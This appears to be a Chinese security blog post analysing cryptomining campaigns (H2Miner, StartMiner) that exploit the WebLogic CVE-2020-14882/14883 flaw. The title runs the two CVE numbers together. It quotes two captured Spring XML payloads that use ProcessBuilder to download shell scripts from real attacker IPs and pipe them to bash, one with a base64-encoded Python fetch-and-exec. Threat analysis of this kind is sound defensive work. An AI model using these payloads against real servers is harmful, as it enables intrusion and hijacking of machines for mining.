近期Weblogic未授权命令执行漏洞（CVE-2020-1488214883）漏洞利用的挖矿活动

近期Weblogic未授权命令执行漏洞（CVE-2020-1488214883）漏洞利用的挖矿活动 – 作者:ArseneLupin

背景

近期Weblogic未授权命令执行漏洞（CVE-2020-14882/14883）的EXP的面世，使得个挖矿团伙迅速展开了各种基于该漏洞的攻击活动。

详情

漏洞EXP复现

漏洞具体EXP复现可参考下面文章，主要有两种方式。其中第二种方式又多个团伙的样本。

https://blog.csdn.net/weixin_41598660/article/details/109409965

1.H2Miner

其中payload 如下所示：

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[(curl -s 95.142.39.135/wb.sh||wget -q -O- 95.142.39.135/wb.sh)|bash]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

详细分析可查看（https://mp.weixin.qq.com/s/JPm71AI-CeeRmoZwEl34bg）

2.StartMiner

其payload文件（http://205.185.116.78/poc.xml）如下所示：

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
	<value>/bin/bash</value>
	<value>-c</value>
	<value>curl -s http://205.185.116.78/xms | bash -sh; wget -q -O - http://205.185.116.78/xms | bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d | bash -; lwp-download http://205.185.116.78/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms</value>
      </list>
    </constructor-arg>
  </bean>
</beans>